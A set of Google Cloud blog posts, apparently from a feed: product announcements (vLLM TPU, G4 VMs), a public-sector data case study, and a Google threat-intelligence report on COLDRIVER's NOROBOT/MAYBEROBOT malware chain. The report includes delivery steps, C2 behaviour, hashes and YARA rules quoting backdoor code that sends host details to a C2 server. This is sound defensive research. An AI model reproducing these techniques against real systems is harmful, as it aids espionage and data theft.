Customization for differentiation: Tailor model behavior using techniques like Supervised Fine-Tuning (SFT) to embed your unique domain expertise directly into the model’s knowledge.
Grounding for accuracy: Easily connect Gemini to your enterprise data – whether structured data in BigQuery, internal documents via Vertex AI Search, or web data from Google Search or Google Maps – to ensure model responses are accurate, relevant, and trusted.
Security, governance, and compliance: Maintain control over data and models with enterprise-grade security, governance, and data privacy controls built directly into the platform, ensuring stability and protection for your mission-critical applications.
Get started today
Download the 2025 IDC MarketScape for Worldwide GenAI Life-Cycle Foundation Model Software excerpt to learn why organizations are choosing Google Cloud.
IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of technology and suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each supplier’s position within a given market. The Capabilities score measures supplier product, go-to-market and business execution in the short-term. The Strategy score measures alignment of supplier strategies with customer requirements in a 3-5-year timeframe. Supplier market share is represented by the size of the icons.
The Google Cloud AI Hypercomputer combines AI-optimized hardware, leading software, and flexible consumption models to help you tackle any AI workload efficiently. Every three months we share a roundup of the latest AI Hypercomputer news, resources, events, learning opportunities, and more. Today, we’re excited to share the latest developments to make your AI journey faster, more efficient, and more insightful, starting with awesome news about inference.
Announcing the new vLLM TPU
For ML practitioners working with large language models (LLMs), serving inference workloads with amazing price-performance is the ultimate goal. That’s why we are thrilled to announce our biggest update this quarter: bringing the performance of JAX and our industry leading Cloud TPUs to vLLM, the most popular open-source LLM inference engine.
vLLM TPU is now powered bytpu-inference, an expressive and powerful new hardware plugin unifying JAX and Pytorch under a single runtime. It is not only faster than the previous generation of vLLM TPU, but also offers broader model coverage (e.g., Gemma, Llama, Qwen) and feature support. vLLM TPU is a framework for developers to:
Push the limits of TPU hardware performance in open source
Provide more flexibility to JAX and Pytorch users by running Pytorch model definitions performantly on TPU without any additional code changes, while also extending native support to JAX
Retain vLLM standardization: keep the same user experience, telemetry, and interface
Today, vLLM TPU is significantly more performant than the first TPU backend prototype that we released back in Feb 2025, with improved model support and feature coverage. With this new foundation in place, our customers will now be able to push the boundaries of TPU inference performance further than ever before in open source, in as little as a few configuration changes.
You can read more about the technical details in vLLM’s most recent blog post here.
More tools for your AI toolkit
Here are some additional AI Hypercomputer updates to give you more control, insight, and choice.
Find and fix bottlenecks faster with the improved XProf Profiler Debugging performance is one of the most time-consuming parts of ML development. To make it easier, we’ve supercharged the XProf profiler and released the new Cloud Diagnostics XProf library. This gives you a unified, advanced profiling experience across JAX and PyTorch/XLA, helping you pinpoint model bottlenecks with powerful tools previously used only by internal Google teams. Spend less time hunting for performance issues and more time innovating.
Openness in action: A new recipe for NVIDIA Dynamo We built AI Hypercomputer on the principle of choice, and want you to use the best tools for the job at hand. To that end, the new AI inference recipe for using NVIDIA Dynamo on AI Hypercomputer demonstrates how to deploy a disaggregated inference architecture, separating the “prefill” and “decode” phases across distinct GPU pools managed by GKE. It’s a powerful demonstration of how our open architecture allows you to combine best-in-class technologies from across the ecosystem to solve complex challenges.
Accelerate Reinforcement Learning with NVIDIA NeMo RL Reinforcement Learning (RL) is rapidly becoming the essential training technique for complex AI agents and workflows requiring advanced reasoning. For teams pushing the boundaries with reinforcement learning, new reproducible recipes are available for getting started with NVIDIA NeMo RL on Google Cloud. NeMo RL is a high-performance framework designed to tackle the complex scaling and latency challenges inherent in RL workloads. It provides optimized implementations of key algorithms like GRPO and PPO, making it easier to train large models. The new recipes run on A4 VMs (powered by NVIDIA HGX B200) with GKE and vLLM, offering a simplified path to setting up and scaling your RL development cycle for models like Llama 3.1 8B and Qwen2.5 1.5B.
Scale high-performance inference cost-effectively A user’s experience of a generative AI application highly depends on both a fast initial response to a request and a smooth streaming of the response through to completion. To streamline and standardize LLM serving, GKE Inference Gateway and Quickstart are now generally available. Inference Gateway simplifies serving with new features like prefix-aware load balancing, which dramatically improves latency for workloads with recurring prompts. The Inference Quickstart helps you find the optimal, most cost-effective hardware and software configuration for your specific model, saving you months of manual evaluation. With these new features, we’ve improved time-to-first-token (TTFT) and time-per-output-token (TPOT) on AI Hypercomputer.
Build your future on a comprehensive system
The progress we’ve shared today — from bringing vLLM to TPUs to enabling advanced profiling and third-party integrations — all stems from the premise that AI Hypercomputer is a supercomputing system, constantly evolving to meet the demands of the next generation of AI.
We’ll continue to update and optimize AI Hypercomputer based on our learnings from training Gemini, to serving quadrillions of tokens a month. To learn more about using AI Hypercomputer for your own AI workloads, read here. Curious about the last quarterly round up? Please see the previous post here. To stay up to date on our progress or ask us questions, join our community and access our growing AI Hypercomputer resources repository on GitHub. We can’t wait to see what you build with it.
Many of today’s multimodal workloads require a powerful mix of GPU-based accelerators, large GPU memory, and professional graphics to achieve the performance and throughput that they need. Today, we announced the general availability of the G4 VM, powered by NVIDIA’s RTX PRO 6000 Blackwell Server Edition GPUs. The addition of the G4 expands our comprehensive NVIDIA GPU portfolio, complementing the specialized scale of the A-series VMs, and the cost-efficiency of G2 VMs. The G4 VM is available now, bringing GPU availability to more Google Cloud regions than ever before, for applications that are latency sensitive or have specific regulatory requirements.
We also announced the general availability of NVIDIA Omniverse as a virtual machine image (VMI) on Google Cloud Marketplace. When run on G4, it’s easier than ever to develop and deploy industrial digital twin and physical AI simulation applications leveraging NVIDIA Omniverse libraries. G4 VMs provide the necessary infrastructure — up to 768 GB of GDDR7 memory, NVIDIA Tensor Cores, and fourth-generation Ray Tracing (RT) cores — to run the demanding real-time rendering and physically accurate simulations required for enterprise digital twins. Together, they provide a scalable cloud environment to build, deploy, and interact with applications for industrial digital twins or robotics simulation.
A universal GPU platform
The G4 VM offers a profound leap in performance, with up to 9x the throughput of G2 instances, enabling a step-change in results for a wide spectrum of workloads, from multi-modal AI inference, photorealistic design and visualization, and robotics simulation using applications developed on NVIDIA Omniverse. The G4 currently comes in 1, 2, 4, and 8 NVIDIA RTX PRO 6000 Blackwell GPU options, with fractional GPU options coming soon.
Here are some of the ways you can use G4 to innovate and accelerate your business:
AI training, fine-tuning, and inference
Generative AI acceleration and efficiency: With its FP4 precision support, G4’s high-efficiency compute accelerates LLM fine-tuning and inference, letting you create real-time generative AI applications such as multimodal and text-to-image creation models.
Resource optimization with Multi-Instance GPU (MIG) support: G4 allows a single GPU to be securely partitioned into up to four fully isolated MIG instances, each with its own high-bandwidth memory, compute cores, and dedicated media engines. This feature maximizes price-performance by enabling multiple smaller distinct workloads to run concurrently with guaranteed resources, isolation, and quality of service..
Flexible model capacity and scaling: Serve a wide range of models, from less than 30B to over 100B parameters, by leveraging advanced quantization techniques, MIG partitioning, and multi-GPU configurations.
NVIDIA Omniverse and simulation
NVIDIA Omniverse integration: Choose this foundation to build and connect simulation applications using physically-based simulation and OpenUSD that enable real-time interactivity and the development of AI-accelerated digital twins.
Large-scale digital twin acceleration: Accelerate proprietary or commercial computer-aided engineering and simulation software to run scenarios with billions of cells in complex digital twin environments.
Near-real-time physics analysis: Leverage the G4’s parallel compute power and memory to handle immense computational domains, enabling near-real-time computational fluid dynamics and complex physics analysis for high-fidelity simulations.
Robotics development: With NVIDIA Isaac Sim, an open-source, reference robotic simulation framework, customers are now able to create, train, and simulate AI-driven robots in physical and virtual environments. Isaac Sim is now available on the Google Cloud Marketplace.
AI-driven rendering, graphics and virtual workstations
AI-augmented content creation: Harness neural shaders and fifth-generation NVIDIA Tensor Cores to integrate AI directly into a programmable rendering pipeline, driving the next decade of AI-augmented graphics innovations, including real-time cinematic rendering and enhanced content creation.
Massive scene handling: Leverage massive memory (up to 96 GB per GPU on the G4) to create and render large complex 3D models and photorealistic visualizations with stunning detail and accuracy.
Virtual workstations: Fuel digital twins, simulation, and VFX workloads. The G4’s leap in capability is powered by full support for all NVIDIA DLSS 4 features, the latest NVENC/NVDEC encoders for video streaming and transcode, and fourth-generation RT Cores for real-time ray tracing.
Google Cloud scales NVIDIA RTX PRO 6000
Modern generative AI models often exceed the VRAM of a single GPU, making you use multi-GPU configurations to serve these workloads. While this approach is common, performance can be bottlenecked by the communication speed between the AI architecture. We significantly boosted multi-GPU performance on G4 VMs by implementing an enhanced PCIe-based P2P data path that optimizes critical collective operations like All-Reduce, which is essential for splitting models across GPUs. Thanks to the G4’s enhanced peer-to-peer capabilities, you can expect up to 168% throughput gains and 41% lower latency (inter-token latency) when using tensor parallelism for model serving compared to standard non-P2P offerings.
For your generative AI applications, this technical differentiation translates into:
Faster user experience: Lower latency means quicker responses from your AI services, enabling more interactive and real-time applications.
Higher scalability: Increased throughput allows you to serve more concurrent users from a single virtual machine, significantly improving the price-performance and scalability of your service.
Google Cloud services integrated with G4 VMs
G4 VMs are fully integrated with several Google Cloud services, accelerating your AI workloads from day one.
Google Kubernetes Engine (GKE): G4 GPUs are generally available through GKE. Since GKE recently extended Autopilot to all qualifying clusters, including GKE Standard clusters, you can benefit from GKE’s container-optimized compute platform to rapidly scale your G4 GPUs, enabling you to optimize costs. By adding the GKE Inference Gateway, you can stretch the benefits of G4 even further to achieve lower AI serving latency and higher throughput.
Vertex AI: Both inference and training benefit significantly from G4’s large GPU memory (96 GB per GPU, 768 GB total), native FP4 precision support, and global presence.
Dataproc: G4 VMs are fully supported on the Dataproc managed analytics platform, letting you accelerate large-scale Spark and Hadoop workloads. This enables data scientists and data engineers to significantly boost performance for machine learning and large-scale data processing workloads.
Cloud Run: We’ve extended our serverless platform’s AI infrastructure options to include the NVIDIA RTX PRO 6000, so you can perform real-time AI inference with your preferred LLMs or media rendering using fully managed, simple, pay-per-use GPUs.
Hyperdisk ML, Managed Lustre, and Cloud Storage: When you need to expand beyond local storage for your HPC and large scale AI/ML workloads, you can connect G4 to a variety of Google Cloud storage services. For low latency and up to 500K of IO per instance, Hyperdisk ML is a great option. For high-performance file storage in the same zone, Managed Lustre offers a parallel file system ideal for persistent storage, up to 1TB/s. Finally, if you need nearly unlimited global capacity, with powerful capabilities like Anywhere Cache for use cases like inference, choose Cloud Storage as your primary, highly available, and globally scalable storage platform for training datasets, model artifacts, and feature stores.
What customers are saying
Here’s how customers are using G4 to innovate and accelerate within their businesses:
“The combination of NVIDIA Omniverse on Google Cloud G4 VMs is the true engine for our creative transformation. It empowers our teams to compress weeks of traditional production into hours, allowing us to instantly generate photorealistic 3D advertising environments at a global scale while ensuring pixel-perfect brand compliance—a capability that redefines speed and personalization in digital marketing.” –Perry Nightingale, SVP Creative AI, WPP
“We’re excited to bring the power of Google Cloud G4 VMs into Altair One, so you can run your most demanding simulation and fluid dynamics workloads with the speed, scale, and visual fidelity needed to push innovation further.” – Yeshwant Mummaneni, Chief Engineer – Analytics, HPC, IoT & Digital Twin, Altair
The Google Cloud advantage
Choosing Google Cloud means selecting a platform engineered for tangible results. The new G4 VM is a prime example, with our custom P2P interconnect unlocking up to 168% more throughput from the underlying NVIDIA RTX PRO 6000 Blackwell GPUs. This focus on optimized performance extends across our comprehensive portfolio; the G4 perfectly complements our existing A-Series and G2 GPUs, ensuring you have the ideal infrastructure for any workload. Beyond raw performance, we deliver turnkey solutions to accelerate your time to value. With NVIDIA Omniverse now available on the Google Cloud Marketplace, you can immediately deploy enterprise-grade digital twin and simulation applications on a fully managed and scalable platform.
G4 capacity is immediately available. To get started, simply select G4 VMs from the Google Cloud console. NVIDIA Omniverse and Isaac Sim are qualified Google Cloud Marketplace solutions that can draw down on your Google Cloud commitments; for more information, please contact your Google Cloud sales team or reseller.
Today, we announced the general availability of the G4 VM family based on NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs. Thanks to unique platform optimizations only available in Google Cloud, G4 VMs deliver the best performance of any commercially available NVIDIA RTX PRO 6000 Blackwell GPU offering for inference and fine-tuning on a wide range of models, from less than 30B to over 100B parameters. In this blog, we discuss the need for these platform optimizations, how they work, and how to use them in your own environment.
Collective communications performance matters
Large language models (LLMs) vary significantly in size, as characterized by their number of parameters: small (~7B), medium (~70B), and large (~350B+). LLMs often exceed the memory capacity of a single GPU, including the NVIDIA RTX PRO 6000 Blackwell’s, with its 96GB of GDDR7 memory. A common solution is to use tensor parallelism, or TP, which works by distributing individual model layers across multiple GPUs. This involves partitioning a layer’s weight matrices, allowing each GPU to perform a partial computation in parallel. However, a significant performance bottleneck arises from the subsequent need to combine these partial results using collective communication operations like All-Gather or All-Reduce.
The G4 family of GPU virtual machines utilizes a PCIe-only interconnect. We drew on our extensive infrastructure expertise to develop this high-performance, software-defined PCIe fabric that supports peer-to-peer (P2P) communication. Crucially, G4’s platform-level P2P optimization substantially accelerates collective communications for workloads that require multi-GPU scaling, resulting in a notable boost for both inference and fine-tuning of LLMs.
How G4 accelerates multi-GPU performance
Multi-GPU G4 VM shapes get their significantly enhanced PCIe P2P capabilities from a combination of both custom hardware and software. This advancement directly optimizes collective communications, including All-to-All, All-Reduce, and All-Gather collectives for managing GPU data exchange. The result is a low-latency data path that delivers a substantial performance increase for critical workloads like multi-GPU inference and fine-tuning.
In fact, across all major collectives, the enhanced G4 P2P capability provides an acceleration of up to 2.2x without requiring any changes to the code or workload.
Inference performance boost by P2P on G4
On G4 instances, enhanced peer-to-peer communication directly boosts multi-GPU workload performance, particularly for tensor parallel inference with vLLM, with up to 168% higher throughput, and up to 41% lower inter-token latency (ITL).
We observe these improvements when using tensor parallelism for model serving, especially when compared to standard non-P2P offerings.
At the same time, G4 coupled with software-defined PCIe and P2P innovation, significantly enhances inference throughput and reduces latency, giving you the control to optimize your inference deployment for your business needs.
Throughput or speed: G4 with P2P lets you choose
The platform-level optimizations on G4 VMs translate directly into a flexible and powerful competitive advantage. For interactive generative AI applications, where user experience is paramount, G4’s P2P technology delivers up to 41% less inter-token latency — the critical delay between generating each part of a response. This results in a noticeably snappier and more reactive end-user experience, increasing their satisfaction with your AI application.
Alternatively, for workloads where raw throughput is the priority, such as batch inference, G4 with P2P enables customers to serve up to 168% more requests than comparable offerings. This means you can either increase the number of users served by each model instance, or significantly improve the responsiveness of your AI applications. Whether your focus is on latency-sensitive interactions or high-volume throughput, G4 provides a superior return on investment compared to other NVIDIA RTX PRO 6000 offerings in the market.
Scale further with G4 and GKE Inference Gateway
While P2P optimizes performance for a single model replica, scaling to meet production demand often requires multiple replicas. This is where the GKE Inference Gateway really shines. It acts as an intelligent traffic manager for your models, using advanced features like prefix-cache-aware routing and custom scheduling to maximize throughput and slash latency across your entire deployment.
By combining the vertical scaling of G4’s P2P with the horizontal scaling of the Inference Gateway, you can build an end-to-end serving solution that is exceptionally performant and cost-effective for the most demanding generative AI applications. For instance, you can use G4’s P2P to efficiently run a 2-GPU Llama-3.1-70B model replica with 66% higher throughput, and then use GKE Inference Gateway to intelligently manage and autoscale multiple of these replicas to meet global user demand.
G4 P2P supported VM Shapes
Peer-to-peer capabilities for NVIDIA RTX PRO 6000 Blackwell are available with the following multi-GPU G4 VM shapes:
Machine Type
GPUs
Peer-to-Peer
GPU Memory (GB)
vCPUs
Host Memory (GB)
Local SSD (GB)
g4-standard-96
2
Yes
192
96
360
3,000
g4-standard-192
4
Yes
384
192
720
6,000
g4-standard-384
8
Yes
768
384
1,440
12,000
For VM shapes smaller than 8 GPUs, our software defined PCIe fabric ensures path isolation between GPUs assigned to different VMs on the same physical machine. PCIe paths are created dynamically at VM creation and are dependent on the VM shape, ensuring isolation on multiple levels of the platform stack to prevent communication between GPUs that are not assigned to the same VM.
Get started with P2P on G4
The G4 peer-to-peer capability is transparent to the workload, and requires no changes to the application code or to libraries such as the NVIDIA Collective Communications Library (NCCL). All peer-to-peer paths are automatically set up during VM creation. You can find more information about enabling peer-to-peer for NCCL-based workloads in the G4 documentation.
Try Google Cloud G4 VMs with P2P from the Google Cloud console today, and start building your inference platform with GKE Inference Gateway. For more information, please contact your Google Cloud sales team or reseller.
The Oklahoma Employment Security Commission (OESC) is responsible for managing critical services for its citizens, including unemployment insurance benefits and employer tax collection. However, its core operating system resided on an aging mainframe with a 40-year-old data structure. This legacy system created significant roadblocks. The data schema was unintelligible, making it nearly impossible to access, verify, or analyze information efficiently. A single data request could take a technical team six months to fulfill, delivering a static data dump that was often obsolete by the time it arrived.
This meant that operational decisions were being made with outdated information. Added to that, critical reporting for the Department of Labor (DoL) was a resource-intensive, time-consuming process. The agency needed to move beyond its aging mainframe to a more modern, future-ready foundation. They turned to Google Public Sector to help.
A modern data platform to drive insight and efficiency
To prepare for their mainframe migration, unlock value from their data, and create a modern data platform, OESC partnered with Google Public Sector and a consulting partner, Phase2. The goal was to transform the agency’s data into more accurate, accessible insights that could support its mission in near real-time. By leveraging the power of Google Cloud, OESC could empower its teams with self-service analytics to dramatically improve data accuracy and build a “gold standard” data model for the future.
A foundation built on BigQuery
The adoption of BigQuery was central to this transformation. It allowed for rapid iteration of the data and the development of the gold standard data model by enabling efficient ingest and processing. This, in turn, allowed for the development of higher-quality data sets, the ability to verify data quality, and rapid report development.
Critically, using various Google Cloud services including BigQuery, the team created the ability to track point-in-time data—a capability impossible with the legacy system. This feature has enabled powerful reporting, leading to:
Data quality improvements
Deep trend metrics
Report creation for any historical point in the past
Improved audit capabilities
Improved fraud detection
Oklahoma Employment Security Commission’s modern data journey on Google Cloud: A multi-step transformation
The Oklahoma Employment Security Commission’s initiative to move beyond the mainframe was not a single, abrupt migration but a multi-step modernization journey with a future-ready foundation built on trust and accessibility. This partnership has already delivered a massive shift in operational capabilities.
From weeks to hours: a new era for critical reporting
Google Cloud technology is powering a new wave of transformation and modernization. With BigQuery, the agency is able to ingest and process data more efficiently allowing for rapid iteration and the development of higher-quality, reliable datasets. The most immediate impact has been on DoL reporting processes that previously took weeks or even months of manual effort by understaffed IT teams were reduced to just hours. Additionally, with Looker, business stakeholders can now self-serve these reports and gain access to critical data with vastly improved accuracy. This includes critical reports such as:
Claims and payment activities (monthly)
Advance weekly initial and continued claims report (weekly)
Time-lapse data for UI benefit payments (monthly)
Tax and employer core measures
Tasks that once took weeks or months due to inaccessible data are now delivered to business stakeholders within hours or days, or, where possible, through self-service dashboards. Key metrics that are now accessible include:
Number of active employers over time
Amount of outstanding taxes
Modern searching for application features, such as when a benefits claimant looks for a separating employer
Uncovering insights and improving services for Oklahoma employers
A critical capability unlocked by BigQuery was the ability to track point-in-time data, something impossible with the legacy system. Using years of daily snapshots, OESC conducted a historical analysis of employer tax rates. This enabled the agency to directly explore the data, helping to identify opportunities. These opportunities led to assisting in creating new legislation and driving down employer taxes. As one user stated, “Having access to this data is a gamechanger.”
Laying the groundwork for a mainframe-free future
The Oklahoma Employment Security Commission’s modernization journey was a deliberate, multi-step process designed to build a solid foundation. The data was reorganized from its mainframe-mimicking format into a modern, intuitive, and efficient schema within BigQuery. This new structure is the stepping stone that enables real-time reporting powered by Looker and lays the essential groundwork for a much smoother transition off the mainframe. The new platform also paves the way for advanced capabilities like accelerated fraud detection and future AI use cases.
Google Public Sector’s approach involved a multi-step process to successfully modernize this data:
Understanding the legacy: Significant manual effort was required to understand the complex, mainframe-mimicking schema in the existing Postgres database.
Reorganizing data into a modern schema: The data was then organized into a modern, intuitive, and efficient schema within BigQuery. This was a major stepping stone, moving away from a file-system architecture to a structure designed for analytic performance.
Enabling real-time access and reporting: Once the data was structured in BigQuery, it could be exposed through tools like Looker. This transformed the six-month reporting process into collaborative sessions where reports are created, providing access to near real-time data for operational decisions and helping improve service accuracy.
Preparing for the future (mainframe transition): Actively defining the future schema of the modern production database and populating it with new data alongside the old. This multi-year progress will allow OESC to transition off the mainframe much more smoothly in the future.
A vision for secure, statewide data collaboration
OESC’s partnership with Google Public Sector and adoption of the latest data and AI innovations aligns with Oklahoma’s broader data management and sharing initiatives. Their modern data platform, built on a well-designed schema in BigQuery, allows their data to be easily and securely shared with other state agencies via Analytics Hub. This positions OESC to lead in creating a more connected, data-driven government while maintaining robust control and governance.
Continue your agency’s innovation journey
Google Public Sector is dedicated to helping public sector agencies understand and apply transformative cloud, AI, data and security solutions. Join us at the Google Public Sector Summit on October 29th in Washington D.C., to discover how your agency can leverage the latest technologies to tackle your biggest challenges and drive your agency forward.
COLDRIVER, a Russian state-sponsored threat group known for targeting high profile individuals in NGOs, policy advisors and dissidents, swiftly shifted operations after the May 2025 public disclosure of its LOSTKEYS malware, operationalizing new malware families five days later. It is unclear how long COLDRIVER had this malware in development, but GTIG has not observed a single instance of LOSTKEYS since publication. Instead, GTIG has seen new malware used more aggressively than any other previous malware campaigns we have attributed to COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto).
The new malware, which GTIG attributes directly to COLDRIVER, has undergone multiple iterations since discovery, indicating a rapidly increased development and operations tempo from COLDRIVER. It is a collection of related malware families connected via a delivery chain. GTIG seeks to build on details on a part of this infection chain released in a recent Zscaler blog post by sharing wider details on the infection chain and related malware.
Malware Development Overview
This re-tooling began with a new malicious DLL called NOROBOT delivered via an updated COLDCOPY “ClickFix” lure that pretends to be a custom CAPTCHA. This is similar to previous LOSTKEYS deployment by COLDRIVER, but updates the infection by leveraging the user to execute the malicious DLL via rundll32, instead of the older multi-stage PowerShell method.
Figure 1: Malware development overview
While the earliest version of NOROBOT led to the deployment of a cumbersome Python backdoor tracked as YESROBOT, COLDRIVER quickly abandoned YESROBOT for a more flexible and extensible Powershell backdoor we track as MAYBEROBOT.
NOROBOT and its preceding infection chain have been subject to constant evolution—initially simplified to increase chances of successful deployment, before re-introducing complexity by splitting cryptography keys. The shift back to more complex delivery chains increases the difficulty of tracking their campaigns. This constant development highlights the group’s efforts to evade detection systems for their delivery mechanism for continued intelligence collection against high-value targets.
Delivery via “ClickFix” and Rundll32
This new malware infection chain contains three distinct components which are delivered via a new variant of the COLDCOPY “ClickFix” lure (c4d0fba5aaafa40aef6836ed1414ae3eadc390e1969fdcb3b73c60fe7fb37897) previously seen delivering LOSTKEYS. The new variant of COLDCOPY tries to get the user to download and execute a DLL using rundll32, while trying to disguise itself as a captcha by including text to verify that the user is not a robot. The DLL first observed was named “iamnotarobot.dll” and the export was named “humanCheck” – both of which play into the CAPTCHA theme of the page and partially inspired the ROBOT-themed naming convention for the malware that follows.
Figure 2: COLDCOPY attempting to lure the user to execute NOROBOT
NOROBOT
NOROBOT, also disclosed as BAITSWITCH by Zscaler, is a DLL that has been observed undergoing regular development from May through September 2025. In all of the versions observed the main purpose of NOROBOT has been to retrieve the next stage from a hardcoded command and control (C2) address and prepare the system for the final payload. The earliest version of NOROBOT (2e74f6bd9bf73131d3213399ed2f669ec5f75392de69edf8ce8196cd70eb6aee) made use of cryptography in which the key was split across multiple components and needed to be recombined in a specific way in order to successfully decrypt the final payload. This was likely done to make it more difficult to reconstruct the infection chain because if one of the downloaded components was missing the final payload would not decrypt properly. Despite this attempt to hinder analysis, the earliest version of NOROBOT included fetching and extracting a full Python 3.8 installation, which is a noisy artifact that is likely to raise suspicions.
Details of the files retrieved by this version of NOROBOT are:
SFX RAR containing a Python 3.8 installation for Windows
Command to store part of a crypto key in the registry
Persistence via scheduled task
Command to run bitsadmin to retrieve a file named libsystemhealthcheck.py
Command to run bitsadmin to retrieve a file named libcryptopydatasize.py
Both files retrieved using bitsadmin are from inspectguarantee[.]org:
libsystemhealthcheck.py contains part of an AES key that is combined with the key stored in the registry and decrypts libcryptopydatasize.py, which we have named YESROBOT.
YESROBOT
The decrypted version of YESROBOT is a Python backdoor which uses HTTPS to retrieve commands from a hardcoded C2. The commands are AES encrypted with a hardcoded key. System information and username are encoded in the User-Agent header of the request. YESROBOT is a minimal backdoor that requires all commands to be valid Python, which makes typical functionality, such as downloading and executing files or retrieving documents, more cumbersome to implement. A typical approach would include the retrieval and execution logic in the backdoor and only require the operator to send the URL. This makes YESROBOT difficult to extend and operate, and hints that the deployment of YESROBOT was a hastily made choice. GTIG observed only two instances of YESROBOT deployment over a two week period in late May before it was abandoned in favor of a different backdoor, MAYBEROBOT. It is for these reasons that GTIG assesses that YESROBOT was hastily deployed as a stopgap mechanism after our publication on LOSTKEYS.
Figure 3: Main loop of YESROBOT, limited to Python command execution only
MAYBEROBOT
In early June 2025, GTIG observed a variant of NOROBOT (3b49904b68aedb6031318438ad2ff7be4bf9fd865339330495b177d5c4be69d1) which was drastically simplified from earlier versions. This version fetches a single file, which we observed to be a single command that sets up a logon script for persistence. The logon script was a Powershell command which downloaded and executed the next stage, which we call MAYBEROBOT, also known as SIMPLEFIX by Zscaler.
The file fetched by the logon script was a heavily obfuscated Powershell script (b60100729de2f468caf686638ad513fe28ce61590d2b0d8db85af9edc5da98f9) that uses a hardcoded C2 and a custom protocol that supports 3 commands:
Download and execute from a specified URL
Execute the specified command using cmd.exe
Execute the specified powershell block
In all cases an acknowledgement is sent to the C2 at a different path, while in the case of command 2 and 3, output is sent to a third path.
GTIG assesses that MAYBEROBOT was developed to replace YESROBOT because it does not need a Python installation to execute, and because the protocol is extensible and allows attackers more flexibility when achieving objectives on target systems. While increased flexibility was certainly achieved, it is worth noting that MAYBEROBOT still has minimal built-in functionality and relies upon the operator to provide more complex commands like YESROBOT before it.
The ROBOTs Continue to Evolve
As GTIG continued to monitor and respond to COLDRIVER attempts to deliver NOROBOT to targets of interest from June through September 2025, we observed changes to both NOROBOT and the malware execution chain that indicate COLDRIVER was increasing their development tempo. GTIG has observed multiple versions of NOROBOT over time with varying degrees of simplicity. The specific changes made between NOROBOT variants highlight the group’s persistent effort to evade detection systems while ensuring continued intelligence collection against high-value targets. However, by simplifying the NOROBOT downloader, COLDRIVER inadvertently made it easier for GTIG to track their activity.
GTIG’s insight into the NOROBOT malware’s evolution aligned with our observation of their movement away from the older YESROBOT backdoor in favor of the newer MAYBEROBOT backdoor. GTIG assesses that COLDRIVER may have made changes to the final backdoor for several reasons: YESROBOT requiring a full Python interpreter to function is likely to increase detection in comparison to MAYBEROBOT, and YESROBOT backdoor was not easily extensible.
As MAYBEROBOT became the more commonly observed final backdoor in these operations, the NOROBOT infection chain to get there continued evolving. Over the course of this period of time, COLDRIVER simplified their malware infection chain and implemented basic evasion techniques, such as rotating infrastructure and file naming conventions, paths where files were retrieved from, how those paths were constructed, changing the export name and changing the DLL name. Along with making these minor changes, COLDRIVER re-introduced the need to collect crypto keys and intermediate downloader stages to be able to properly reconstruct the full infection chain. Adding complexity back in may increase operational security for the operation as it makes reconstructing their activity more difficult. Network defenders need to collect multiple files and crypto keys to reconstruct the full attack chain; whereas in the simplified NOROBOT chain they only need the URL from the logon script to retrieve the final payload.
GTIG has observed multiple versions of NOROBOT indicating consistent development efforts, but the final backdoor of MAYBEROBOT has not changed. This indicates that COLDRIVER is interested in evading detection of their delivery mechanism while having high confidence that MAYBEROBOT is less likely to be detected.
Phishing or Malware?
It is currently not known why COLDRIVER chooses to deploy malware over the more traditional phishing they are known for, but it is clear that they have spent significant development effort to re-tool and deploy their malware to specific targets. One hypothesis is that COLDRIVER attempts to deploy NOROBOT and MAYBEROBOT on significant targets which they may have previously compromised via phishing and already stolen emails and contacts from, and are now looking to acquire additional intelligence value from information on their devices directly.
As COLDRIVER continues to develop and deploy this chain we believe that they will continue their aggressive deployment against high-value targets to achieve their intelligence collection requirements.
Protecting the Community
As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.
We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.
Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack.
NOROBOT – machinerie.dll – Latest sample from late August 2025
YARA Rules
rule G_APT_MALWARE_NOROBOT_1 {
meta:
author = "Google Threat Intelligence"
description = "DLL which pulls down and executes next stages"
strings:
$path = "/konfiguration12/" wide
$file0 = "arbeiter" wide
$file1 = "schlange" wide
$file2 = "gesundheitA" wide
$file3 = "gesundheitB" wide
$new_file0 = "/reglage/avec" wide
$new_file1 = "/erreur" wide
condition:
$path or
all of ($file*) or
all of ($new_file*) or
(
for any s in ("checkme.dll", "iamnotarobot.dll", "machinerie.dll"): (pe.dll_name == s) and
for any s in ("humanCheck", "verifyme"): (pe.exports(s))
)
}
rule G_APT_BACKDOOR_YESROBOT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$s0 = "return f'Mozilla/5.0 {base64.b64encode(str(get_machine_name()).encode()).decode()} {base64.b64encode(str(get_username()).encode()).decode()} {uuid} {get_windows_version()} {get_machine_locale()}'"
$s1 = "'User-Agent': obtainUA(),"
$s2 = "url = f"https://{target}/connect""
$s3 = "print(f'{target} is not availible')"
$s4 = "tgtIp = check_targets(tgtList)"
$s5 = "cmd_url = f'https://{tgtIp}/command'"
$s6 = "print('There is no availible servers...')"
condition:
4 of them
}
rule G_APT_BACKDOOR_MAYBEROBOT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$replace = "-replace '\n', ';' -replace '[^\x20-\x7E]', '' -replace '(?i)x[0-9A-Fa-f]{4}', '' -split "\n""
condition:
all of them
}
How do you know if your agent is actually working? It’s one of the most complex but critical questions in development. In our latest episode of the Agent Factory podcast, we dedicated the entire session to breaking down the world of agent evaluation. We’ll cover what agent evaluation really means, what you should measure, and how to measure using ADK and Vertex AI. You’ll also learn more advanced evaluation in multi-agents systems.
This post guides you through the key ideas from our conversation. Use it to quickly recap topics or dive deeper into specific segments with links and timestamps.
Deconstructing Agent Evaluation
We start by defining what makes agent evaluation so different from other forms of testing.
Beyond Unit Tests: Why Agent Evaluation is Different
The first thing to understand is that evaluating an agent isn’t like traditional software testing.
Traditional software tests are deterministic; you expect the same input to produce the same output every time (A always equals B).
LLM evaluation is like a school exam. It tests static knowledge with Q&A pairs to see if a model “knows” things.
